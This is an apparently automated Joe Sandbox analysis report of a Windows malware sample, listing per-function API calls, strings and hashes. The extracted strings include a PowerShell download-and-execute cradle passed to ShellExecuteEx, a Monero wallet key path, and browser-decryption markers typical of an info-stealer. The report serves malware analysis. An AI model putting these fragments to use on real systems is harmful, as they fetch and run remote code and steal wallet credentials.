Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 6a36136ff95271e17d423efbdf2a2843bf2f6150e332f2f69ea6b9d3e2d327f0
Instruction ID: 847b896350f3faa08642773ca9dc206b050dd93e1bfb6bd31b0effa0feaab74c
Opcode Fuzzy Hash: 6a36136ff95271e17d423efbdf2a2843bf2f6150e332f2f69ea6b9d3e2d327f0
Instruction Fuzzy Hash: 9C21F6B1A1022CABDB24DB54DC85FE9B7B8FB48704F048298A649A6140DF756A85CFA4

Function 00E27690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E276A4
RtlAllocateHeap.NTDLL(00000000), ref: 00E276AB
RegOpenKeyExA.ADVAPI32(80000002,008EB738,00000000,00020119,00000000), ref: 00E276DD
RegQueryValueExA.ADVAPI32(00000000,008FD940,00000000,00000000,?,000000FF), ref: 00E276FE
RegCloseKey.ADVAPI32(00000000), ref: 00E27708

Strings

Windows 11, xrefs: 00E276BD

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 9a848d5b0db8737ff6a68d2d336c5c9cd3427b15e72e1c01c65c8276ecd43e6f
Instruction ID: c43b09054b30a8bf91e02375bf6eea79096fbb8aa3457eac5453af07e7d25b4f
Opcode Fuzzy Hash: 9a848d5b0db8737ff6a68d2d336c5c9cd3427b15e72e1c01c65c8276ecd43e6f
Instruction Fuzzy Hash: 1A018FB4B00308FFDB10DBE0EC49FAFBBB8EB48701F004155FA85A7284E6B999008B50

Function 00E27720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27734
RtlAllocateHeap.NTDLL(00000000), ref: 00E2773B
RegOpenKeyExA.ADVAPI32(80000002,008EB738,00000000,00020119,00E276B9), ref: 00E2775B
RegQueryValueExA.ADVAPI32(00E276B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00E2777A
RegCloseKey.ADVAPI32(00E276B9), ref: 00E27784

Strings

CurrentBuildNumber, xrefs: 00E27771

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 3cc88794bf7189533c650d221694608e4fffd7873f4f231c68b3206198c7cff2
Instruction ID: 2e0c0e73d473cea14a8ca990a942d216a85780530b6527de7718dda0bcf1e4b4
Opcode Fuzzy Hash: 3cc88794bf7189533c650d221694608e4fffd7873f4f231c68b3206198c7cff2
Instruction Fuzzy Hash: 700144B5A40308FFD710DBE4DC49FBFBBB8EB48705F004255FA45A7285DA7559008B50

Function 00E292E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:,80000000,00000003,00000000,00000003,00000080,00000000,?,00E23AEE,?), ref: 00E292FC
GetFileSizeEx.KERNEL32(000000FF,:), ref: 00E29319
CloseHandle.KERNEL32(000000FF), ref: 00E29327

Strings

:, xrefs: 00E29311, 00E2933D, 00E29314
:, xrefs: 00E292F8, 00E292FB

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :$:
API String ID: 1378416451-4250114551
Opcode ID: 37b56f7e5ec71243065ae85bc89629046c60404ee0829c0a83eec459383ee0b5
Instruction ID: 9ce189b2c2fcc7fc621db6caabf147309f8267c06815627175bd4a3a8b608591
Opcode Fuzzy Hash: 37b56f7e5ec71243065ae85bc89629046c60404ee0829c0a83eec459383ee0b5
Instruction Fuzzy Hash: 1EF03C39F40308FBDB20DBB0EC49B9E77B9AB48710F109254B651A72C4DB7596018B40

Function 00E199C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E199EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E19A11
LocalAlloc.KERNEL32(00000040,?), ref: 00E19A31
ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E19A5A
LocalFree.KERNEL32(00E1148F), ref: 00E19A90
CloseHandle.KERNEL32(000000FF), ref: 00E19A9A

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a7f15ccfe27d18331298e5c1303853edd63fd9f0326ea96c6d515ab92c16a14c
Instruction ID: 0300e5b56bcadf857452705ba973076f7b6a72a06def5558d6f51715f3bd29e9
Opcode Fuzzy Hash: a7f15ccfe27d18331298e5c1303853edd63fd9f0326ea96c6d515ab92c16a14c
Instruction Fuzzy Hash: C8312BB4A00209EFDB24CF94D895BEE77B5FF48304F108158E902B7280D779A985CFA0

Function 00E24780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,008FDD30), ref: 00E247DB

Part of subcall function 00E28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28E0B

lstrcat.KERNEL32(?,00000000), ref: 00E24801
lstrcat.KERNEL32(?,?), ref: 00E24820
lstrcat.KERNEL32(?,?), ref: 00E24834
lstrcat.KERNEL32(?,008EB338), ref: 00E24847
lstrcat.KERNEL32(?,?), ref: 00E2485B
lstrcat.KERNEL32(?,008FD7B8), ref: 00E2486F

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E28D90: GetFileAttributesA.KERNEL32(00000000,?,00E11B54,?,?,00E3564C,?,?,00E30E1F), ref: 00E28D9F

Part of subcall function 00E24570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00E24580
Part of subcall function 00E24570: RtlAllocateHeap.NTDLL(00000000), ref: 00E24587
Part of subcall function 00E24570: wsprintfA.USER32 ref: 00E245A6
Part of subcall function 00E24570: FindFirstFileA.KERNEL32(?,?), ref: 00E245BD

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: ed57a0bec157e419e207760f1af9278fafb206298fefe3850d50826b372a1855
Instruction ID: 4063d7521dd180d3e1dcdcedb2861c1e8ef0963158c27dbd960c95c4c15c9d18
Opcode Fuzzy Hash: ed57a0bec157e419e207760f1af9278fafb206298fefe3850d50826b372a1855
Instruction Fuzzy Hash: 3A3173B2900318A7CB24F7B0EC85EEE73BCBB48700F405599B359A6081EE7597C9CB95

Function 00E22C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

ShellExecuteEx.SHELL32(0000003C), ref: 00E22D85

Strings

<, xrefs: 00E22D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00E22CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00E22D04
')", xrefs: 00E22CB3

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 718f6d7d37589ecc2400dc372630c60603d01455cb2c9f839a62e3a1fab7f13b
Instruction ID: ab6638a3309ee63afa9d2038c91db200654d11d7a2c718ff22523622701538c3
Opcode Fuzzy Hash: 718f6d7d37589ecc2400dc372630c60603d01455cb2c9f839a62e3a1fab7f13b
Instruction Fuzzy Hash: A641DE71D102189BDB18FFA0E896BEDBBB4AF14300F445129F106B7191DF746A8ACF92

Function 00E19E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00E19F41

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Strings

v10, xrefs: 00E19EA3
ERROR_RUN_EXTRACTOR, xrefs: 00E19E67
@, xrefs: 00E19EF1
v20, xrefs: 00E19E21

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 9905ae47a1484c26e39c1d444e3aa1f9fb2a7eead4471d401129be2c82acc8bd
Instruction ID: 323b158d2d9bd11f1cdd43b6f5d6ceaf9d628573dbb6159636239b29db17ca79
Opcode Fuzzy Hash: 9905ae47a1484c26e39c1d444e3aa1f9fb2a7eead4471d401129be2c82acc8bd
Instruction Fuzzy Hash: CA615E71A00258EBDB28EFA4DC96FEE77B5AF44300F449128F90A7F191EB706A45CB51

Function 00E240B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,008FD578,00000000,00020119,?), ref: 00E240F4
RegQueryValueExA.ADVAPI32(?,008FDC10,00000000,00000000,00000000,000000FF), ref: 00E24118
RegCloseKey.ADVAPI32(?), ref: 00E24122
lstrcat.KERNEL32(?,00000000), ref: 00E24147
lstrcat.KERNEL32(?,008FDC40), ref: 00E2415B

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 05f6352f4798b654b6cce8bf2bf566caa763dfec468a27ff7eb3e344a68419e6
Instruction ID: b1dec460a7dd03fb59377f7161765c15cb0885d0c3f95228228f4b6920712db1
Opcode Fuzzy Hash: 05f6352f4798b654b6cce8bf2bf566caa763dfec468a27ff7eb3e344a68419e6
Instruction Fuzzy Hash: B3418BB6D00208ABDB24EBB0EC46FFE777DAB8C300F004558B75657185EE795B888B91

Function 00E26920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00E2696C
sscanf.NTDLL ref: 00E26999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00E269B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00E269C0
ExitProcess.KERNEL32 ref: 00E269DA

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 0dc4ddf3eff4b76df209f45ebf470c4a36546b7bfc15479b5b57d1ff1992e484
Instruction ID: e18f1b51d169479e9d6a4fc9fa27b278b277b30c92905f3541c3ae8d5282b836
Opcode Fuzzy Hash: 0dc4ddf3eff4b76df209f45ebf470c4a36546b7bfc15479b5b57d1ff1992e484
Instruction Fuzzy Hash: E321CBB5D14218ABCF18EFE4E945AEEB7B5FF48300F04862AE506F3244EB355605CB65

Function 00E27E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E27E37
RtlAllocateHeap.NTDLL(00000000), ref: 00E27E3E
RegOpenKeyExA.ADVAPI32(80000002,008EB818,00000000,00020119,?), ref: 00E27E5E
RegQueryValueExA.ADVAPI32(?,008FD498,00000000,00000000,000000FF,000000FF), ref: 00E27E7F
RegCloseKey.ADVAPI32(?), ref: 00E27E92

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14af687de20bd07328ce15d2bc86e1d94cfbdc16a555d39ab619862b64b7ad24
Instruction ID: 89b04a772da749dc0196b545137e50d2efe2f51cccb4e71e2f6ec7e996dfdb69
